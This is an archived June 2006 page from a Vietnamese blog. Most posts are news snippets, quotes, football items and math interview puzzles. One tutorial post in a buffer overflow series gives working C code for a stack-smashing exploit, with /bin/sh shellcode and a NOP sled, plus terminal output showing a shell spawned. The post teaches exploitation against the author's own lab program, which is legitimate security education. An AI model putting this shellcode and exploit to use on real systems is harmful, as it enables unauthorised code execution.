Thư viện bài tháng 06 năm 2006

Học gì từ CEO của JetBlue?

Ngô Quang Hưng | 30 tháng 06, 2006 | Bản để in Bản để in

David Neeleman, CEO và người sáng lập JetBlue, thỉnh thoảng “du Giang Nam” làm tiếp viên:

One day flying JetBlue, I found myself being served by David Neeleman, the airline’s founder. When was the last time you met your customers and asked how you could better serve them?

Among the many hazards of business success is this one: The bigger your company gets, the less contact you have with some of the most important people who have helped get you there, namely, your customers. You just can’t spend as much time with them as you did in the early days. There are always more pressing matters–problems to solve, financing to arrange, people to hire, deals to make. You increasingly count on employees to handle the day-to-day relationships with customers, while you become more and more removed from them. It’s a process that can undermine even the most promising young company–unless you make a conscious effort to ensure that that doesn’t happen.

Giá mà ông Hiển cũng có thái độ như thế, thay vì thế này. Đây là ví dụ về làm business. Trong nghiên cứu khoa học máy tính, đôi khi ta “bận bịu” với các vấn đề trừu tượng đến nỗi quên mất một trong những công việc thú vị nhất là lập trình. (Lập trình một sản phẩm nghiêm túc chứ không phải viết mấy cái simulation be bé hay dùng MatLab, Mathematica, OpNet, Glomosim, …). Như vậy rất đáng tiếc! Giáo sư Don Knuth từng nói:

I was surprised to learn that the writing of programs for TeX and for METAFONT proved to be much more difficult than all the other things I had done (like proving theorems or writing books). The creation of good software demands a significantly higher standard of accuracy than those other things do, and it requires a longer attention span than other intellectual tasks.

Chủ đề: Giáo dục & Nhân vật và sự kiện | Bình luận »

Maradona đá cho Brazil?

Ngô Quang Hưng | 29 tháng 06, 2006 | Bản để in Bản để in

Maradona trong màu áo Brazil.

Chủ đề: Vui - Giải Trí | Bình luận »

Người Anh và Trung Quốc làm toán khác nhau.

Lê Hoàng Long | 29 tháng 06, 2006 | Bản để in Bản để in

Bài trên VNExpress:

Tư duy của người nói tiếng Anh bản địa khác xa so với người dùng tiếng Trung làm ngôn ngữ mẹ đẻ. Cả hai đều dễ dàng giải những bài toán số học, song sử dụng các vùng não khác nhau.
Ảnh chụp cộng hưởng từ cho thấy những vùng não loé sáng khi người Trung Quốc bản địa và người Anh bản địa thực hiện các nhiệm vụ liên quan đến biểu tượng và con số.
Một nhóm nghiên cứu đã sử dụng các bức ảnh chụp não để tìm hiểu vùng nào trên não loé sáng khi người ta thực hiện những con tính đơn giản, chẳng hạn 3 cộng 4 bằng 7. Tất cả người tham gia đều sử dụng hệ thống chữ số Ảrập - được sử dụng trong cả hai nền văn hoá: Anh và Trung Quốc.
Cả hai nhóm đều vận dụng đến một vùng não có tên gọi vỏ dưới đỉnh, liên quan đến việc đọc và hình dung số lượng.
Tuy nhiên, nếu như người nói tiếng Anh gốc có thêm hoạt động ở vùng xử lý ngôn ngữ, thì người Trung Quốc bản địa lại sử dụng thêm một vùng não để xử lý thông tin thị giác.

Chủ đề: Chưa phân loại | Bình luận (1) »

Hack lấy 1 triệu USD

Ngô Quang Hưng | 26 tháng 06, 2006 | Bản để in Bản để in

Theo Networkingpipeline:

Pena allegedly sold $1 million of phone service to his customers at extremely reduced rates. But rather than buy long-distance minutes from existing providers to provide the service, he instead hacked into the networks of VoIP providers, and provided the minutes for free.

Here’s how he did it.

Đọc toàn bài để biết chi tiết vụ hack khá đơn giản này.

Chủ đề: Bảo mật và mật mã học | Bình luận »

Statistics Rap

Ngô Quang Hưng | 24 tháng 06, 2006 | Bản để in Bản để in

Statistics Rap, từ nhóm grad students khoa thống kê ở đại học Oregon.

Chủ đề: Vui - Giải Trí & Xác suất & thống kê | Bình luận »

Mở hàng danh ngôn

Ngô Quang Hưng | 21 tháng 06, 2006 | Bản để in Bản để in

Tôi vừa thêm vào blog một phạm trù mới: danh ngôn. Có khá nhiều database về danh ngôn trên Internet làm tham khảo. Mở hàng với Feynman và Hilbert thì không thể ế.

Richard Feynman

  • Physics is like sex. Sure, it may give some practical results, but that’s not why we do it.
  • Physics is to math what sex is to masturbation.
  • I can live with doubt and uncertainty and not knowing. I think it is much more interesting to live not knowing than to have answers that might be wrong.

David Hilbert

  • Sometimes it happens that a man’s circle of horizon becomes smaller and smaller, and as the radius approaches zero it concentrates on one point. And then that becomes his point of view. [Câu này vẫn là phát biểu tôi thích nhất!]
  • No one shall expel us from the Paradise that Cantor has created.
  • If one were to bring ten of the wisest men in the world together and ask them what was the most stupid thing in existence, they would not be able to discover anything so stupid as astrology.
  • Wir müssen wissen. Wir werden wissen. (We must know. We will know!) Câu này khắc ở bia mộ của Hilbert ở Göttingen.

Chủ đề: Danh ngôn | Bình luận »

Mặc quần lót xem đá bóng

Ngô Quang Hưng | 21 tháng 06, 2006 | Bản để in Bản để in

Theo BBC News:

Up to 1,000 fans had to watch Friday’s game against Ivory Coast in underpants after being denied entry because they were wearing the orange lederhosen.

Chủ đề: Vui - Giải Trí | Bình luận »

Các câu hỏi phỏng vấn [16]

Ngô Quang Hưng | 19 tháng 06, 2006 | Bản để in Bản để in

  1. Cho số thực x bất kỳ, chứng minh rằng trong dãy số x, 2x, 3x, \dots, (n-1)x có ít nhất một số nằm trong khoảng 1/n của một số nguyên.
  2. Tuyết bắt đầu rơi trước nửa đêm. Đến nửa đêm có một xe ủi tuyết đi ủi trên đường. Xe đi được một dặm trong 1 giờ đầu tiên, và 1/2 dặm trong giờ thứ hai. Tuyết bắt đầu rơi từ khi nào? (Giả sử xe ủi đi với tốc độ tỉ lệ nghịch với chiều cao của tuyết.)
  3. An cần gửi một nhẫn kim cương cho Bình. An và Bình mỗi đứa có vài cái khóa cùng chìa cho chúng (mỗi khóa một chìa). An có một cái hộp thừa lớn để bỏ nhẫn vào. Hộp có móc tròn khá lớn để tròng khóa vào. Làm thế nào để An gửi nhẫn cho Bình một cách bảo đảm?

Chủ đề: Dành cho du học sinh & Vui - Giải Trí | Bình luận (13) »

Có mấy cách để tham dự trận chung kết World Cup?

Lê Hoàng Long | 17 tháng 06, 2006 | Bản để in Bản để in

Với một fan ghiền đá banh như tôi thì việc mơ mộng mình được có mặt trong trận chung kết của một kỳ World Cup là điều đương nhiên. Vậy có những cách nào để có mặt được trong trận chung kết ?
1. Bỏ tiền ra mua vé, dĩ nhiên phải bỏ cả tiền đi du lịch.
2. Xin làm một chân tạp vụ, phục vụ cầu thủ trong trận chung kết.
3. Xin làm vệ sĩ, cảnh vệ, nhưng phải xin được đứng ở khu vực khán đài có màn hình TV.
4. Trở thành phóng viên thể thao của một tờ báo, đài truyền hình có uy tín.
5. Tham gia được vào ban tổ chức giải.
6. Phấn đấu được làm trọng tài thổi trận chung kết.
7. Đợi đến lúc Việt Nam tổ chức World Cup rồi xin làm tình nguyện viên.
8. Trở thành cầu thủ được gọi vào đội tuyển tham gia trận chung kết.
9. Trở thành thân nhân của cầu thủ, trọng tài tham gia trận chung kết.
10. Trở thành tổng thống, thủ tướng của nước đăng cai.
Còn cách nào nữa không hè ?

Chủ đề: Chưa phân loại | Bình luận (5) »

Các câu hỏi phỏng vấn [15]

Ngô Quang Hưng | 17 tháng 06, 2006 | Bản để in Bản để in

Hôm nay có chuyên đề về … kiến :-)

  1. Có một sợi dây cao su, một đầu buộc vào tường, đầu kia buộc vào một chiếc xe đi xa khỏi tường với tốc độ 100m/h. Giả sử sợi dây có độ giãn vô hạn và giãn đồng nhất (uniformly). Một con kiến bò trên sợi dây từ trong tường về hướng chiếc xe với tốc độ 1m/h. Con kiến có bao giờ đi tới đụng chiếc xe không? Tại sao?
  2. Bốn con kiến nằm ở bốn đỉnh một hình vuông đơn vị. Mỗi con đi về hướng con kề nó theo chiều kim đồng hồ. Tốc độ các con kiến bằng nhau. Mỗi con đi được bao xa thì gặp đối tượng?
  3. Không dùng máy tính, số nào lớn hơn giữa e^{\pi}\pi^e?

Chủ đề: Dành cho du học sinh & Vui - Giải Trí | Bình luận (12) »

Các câu hỏi phỏng vấn [14]

Ngô Quang Hưng | 15 tháng 06, 2006 | Bản để in Bản để in

  1. Có bao nhiêu số nguyên tố có dạng thập phân hoán chuyển giữa 0 và 1, bắt đầu và kết thúc bằng 1 (nghĩa là dạng 1010…101)?
  2. Có n người, mỗi người có một bí mật riêng. Họ gọi điện thoại lẫn nhau, mỗi lần gọi thì hai đối tượng trao đổi tất cả các bí mật mà hai đối tượng biết. Cần ít nhất bao nhiêu cuộc gọi để mọi người biết mọi bí mật?
  3. Tìm số nguyên có dạng ABCDEFGHIJ, trong đó A là tổng số chữ số 0 trong số nguyên này, B là tổng số chữ số 1, vân vân.

Chủ đề: Dành cho du học sinh & Vui - Giải Trí | Bình luận (4) »

Bàn thắng đẹp

Ngô Quang Hưng | 15 tháng 06, 2006 | Bản để in Bản để in

Vài bàn thắng đẹp qua lịch sử bóng đá: compilation 1, compilation 2, compilation 3. Maradona thật là quái kiệt.

Chủ đề: Vui - Giải Trí | Bình luận »

Bill Gates sắp bỏ việc

Ngô Quang Hưng | 15 tháng 06, 2006 | Bản để in Bản để in

Theo CCN:

NEW YORK (CNNMoney.com) - Microsoft announced Thursday that chairman and co-founder Bill Gates will transition out of a day-to-day role at the company, effective July 2008, to spend more time working on his charitable foundation.

Gates will then work part-time at Microsoft (up $0.19 to $22.07, Charts) as chairman and technical adviser and will work full time for the Bill and Melinda Gates Foundation, the organization he founded with his wife, which focuses on global health and education.

I believe with great wealth comes great responsibility - the responsibility to give back to society and make sure those resources are given back in the best possible way, to those in need,” he said. Gates added, “It’s not a retirement, it’s a reordering of my priorities.”

Chủ đề: Nhân vật và sự kiện | Bình luận »

Lỗi tràn bộ đệm [9]: thử khai thác với chuỗi NOP

Ngô Quang Hưng | 14 tháng 06, 2006 | Bản để in Bản để in

Ta đã biết cách giải quyết vấn đề NULL-byte. Câu hỏi kế tiếp là: “để shellcode ở chỗ nào”? Chỗ tự nhiên nhất là trên chính buffer đang bị tràn. Tuy nhiên, trước đó ta phải kiểm tra xem hệ thống của ta có cho execute chương trình trên stack không (vì buffer nằm trên stack). Chương trình sau có thể dùng để kiểm tra điều này.

/*
 * ---------------------------------------------------------------------------
 * Is the stack actually executable?
 *  - The answer is YES for my operating system
 *  - May not be YES for newer versions of OpenBSD or FreeBSD
 * ---------------------------------------------------------------------------
 */
#include <stdio.h>

// "gotcha!" bytecode
char bytecode[] =
   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\x59\xb3\x01\xb2\x08\xb0"
   "\x04\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff"
   "\x47\x6f\x74\x63\x68\x61\x21\x0a";

int main() {
  char buf[500] = "Type some thing";
  unsigned long *ptr = (unsigned long *) buf;   // a moving pointer
  unsigned long buf_addr = (unsigned long) ptr; // address of ‘buf’ itself

  /* overflow buf with return address */
  int i; // there’s a VERY FUNNY BUG if you define i before buf
  for (i=0; i<200; i++) {
    *ptr++ = buf_addr;
  }

  strcpy(buf, bytecode);

  return 0;
}

Bài tập 4: nếu ta định nghĩa biến i trước biến buf thì điều gì sẽ xảy ra?

Thử chạy ví dụ này:

[NQH] hanoi:~/BO$ make 12
gcc -g ex12.c -o ex12
[NQH] hanoi:~/BO$ ex12
Gotcha!

Nếu bạn thấy “Gotcha!” thì stack của bạn executable. Kế đến, giả sử ta tìm cách khai thác chương trình vuln_lb.c như trong bài trước. Chương trình này có buffer đủ lớn để đặt shellcode vào. Có hai cách cơ bản để khai thác chương trình này. Hôm nay ta dùng cách 1: viết một chương trình khác “gọi” chương trình có lỗi này.

Ý tưởng cơ bản như sau. Giả sử buffer bị tràn nằm ở địa chỉ B. Ta sẽ thiết kế dữ liệu nhập theo dạng sau:

[NNNNNNNNCCCCCCCCCCAAAAAAAA]
 B——-          |
      ^            |
      |            |
       ————

Trong đó, dữ liệu nhập có 3 đoạn:

  • Đoạn đầu chứa một chuỗi các bytes ‘\x90′ - các bytes này là mã máy của lệnh NOP (no operation). Đoạn này như hình trên được ký hiệu bằng một chuỗi các chữ N. Đoạn này được gọi là NOP sled.
  • Đoạn hai (chuỗi các chữ C) chính là shellcode.
  • Đoạn cuối dùng để tràn vào địa chỉ trả về của hàm đang chạy của chương trình bị khai thác. Nếu ta biết chính xác địa chỉ B thì quá tốt, ta chỉ cần đặt A bằng B. Nhưng trong thực tế, ta khó có thể biết chính xác buffer của chương trình bị khai thác bắt đầu từ địa chỉ nào, vì thế ta phải “đoán” B. Nếu phán đoán A của ta rơi vào chuỗi NOP thì xong, vì khi đó lệnh NOP sẽ được bỏ qua từng cái một cho đến khi đụng lệnh thực sự của shellcode (chuỗi một đám chữ C).

Thế làm thế nào để đoán cho gần đúng? Ta sẽ lấy stack pointer hiện hành của một chương trình làm mốc, xê dịch nó xuống địa chỉ thấp từng chút một cho đến khi đụng chuỗi NOP sled. Vì stack pointer ta sẽ lấy có rất nhiều khả năng là nằm cao hơn stack pointer của chương trình bị khai thác, do chương trình bị khai thác phải làm nhiều việc, stack của nó sẽ “dài” hơn. Đó là ý tưởng chính của đoạn chương trình sau đây.

#include <stdio.h>

#define NSL    200  // NOP sled's length
#define SIZE   600  // buffer size
#define OFFSET 0    // ESP - OFFSET is an estimation of where code is

char shellcode[] =
   "\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x19\x89\x41\x04"
   "\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f"
   "\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b";

unsigned long get_stack_pointer(void) {
  __asm__("movl %esp, %eax"); // %esp is returned
}

int main(int argc, char** argv) {
  int i;
  char* buf;
  unsigned long esp = get_stack_pointer(); // estimating the stack pointer

  unsigned long offset = OFFSET;
  if (argc == 2) { offset = atoi(argv[1]); }

  unsigned long ret = esp - offset;

  printf("ESP    = 0x%x\n", esp);
  printf("OFFSET = 0x%x\n", offset);
  printf("RET    = 0x%x\n", ret);

  buf = (char*) malloc(SIZE);
  if (buf == NULL) {
    printf("Something’s seriously wrong\n");
    exit(1);
  }

  // fill buf with return address
  unsigned long *ptr = (unsigned long *) buf;
  for (i=0; i<SIZE; i+=4) {
    *(ptr++) = ret;
  }

  // fill the first NSL bytes of buf with NOP sled; the picture is
  // [NNNNNNNNNNNNCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAA]
  for (i=0; i<NSL; i++) {
    buf[i] = ‘\x90′;
  }

  // shellcode after NOP sled
  for (i=NSL; i<strlen(shellcode)+NSL; i++) {
    buf[i] = shellcode[i-NSL];
  }

  buf[SIZE-1] = 0;

  // lastly, call the vulnerable program
  printf("Executing the exploit code\n");
  execl("./vuln_lb", "vuln_lb", buf, 0);

  free(buf);
  exit(0);
}

Chương trình này cho phép ta nhập một offset để xê dịch phán đoán của ta xuống một chút (hoặc “lên” nếu offset là số âm). Với NOP sled dài 200 bytes, phán đoán của ta nhiều khả năng là đúng. Thử ngay:

[NQH] hanoi:~/BO$ make 15
gcc ex15.c -o ex15
[NQH] hanoi:~/BO$ ./ex15
ESP    = 0xbffff968
OFFSET = 0×0
RET    = 0xbffff968
Executing the exploit code
sh-2.05b$ exit
exit

Ah hah! Được rồi. Thế nếu ta đoán “xuống” 200 bytes thì sao?

[NQH] hanoi:~/BO$ ./ex15 200
ESP    = 0xbffff968
OFFSET = 0xc8
RET    = 0xbffff8a0
Executing the exploit code
Segmentation fault

Không được! Phán đoán này đã trỏ địa chỉ trả về ra ngoài đoạn NOP sled, ở đó nhiều khả năng là các bytes rác, vì thế ta có segmentation fault. Còn nếu ta đoán xuống 100 bytes thôi thì vẫn còn nằm trong NOP sled:

[NQH] hanoi:~/BO$ ./ex15 100
ESP    = 0xbffff968
OFFSET = 0×64
RET    = 0xbffff904
Executing the exploit code
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ 

Phương pháp viết một chương trình khác dùng cũng được, nhưng mất thì giờ quá. Phải dịch, chạy, sửa, dịch lại, vân vân. Có cách khác dễ dàng hơn và nhanh hơn nhiều!

Chủ đề: Bảo mật và mật mã học | Bình luận »

Tình hình cứu trợ bão số 1 - đợt 1

Ngô Quang Hưng | 14 tháng 06, 2006 | Bản để in Bản để in

Sau lời kêu gọi vừa qua, các anh chị ở VN đã đi cứu trợ đợt 1. Đã có các cập nhật về thông tin cứu trợ (bài do anh Văn Khoa viết, rất cảm động), hình ảnh, và chữ ký của bà con nhận tiền.

Vài hôm nữa tiền đợt 2 sẽ được chuyển về và tôi xin phép không nhận tiền nữa vì các anh chị ở VN không có thời gian đi đợt 3.

Chủ đề: Thông báo | Bình luận »

Các bài kế »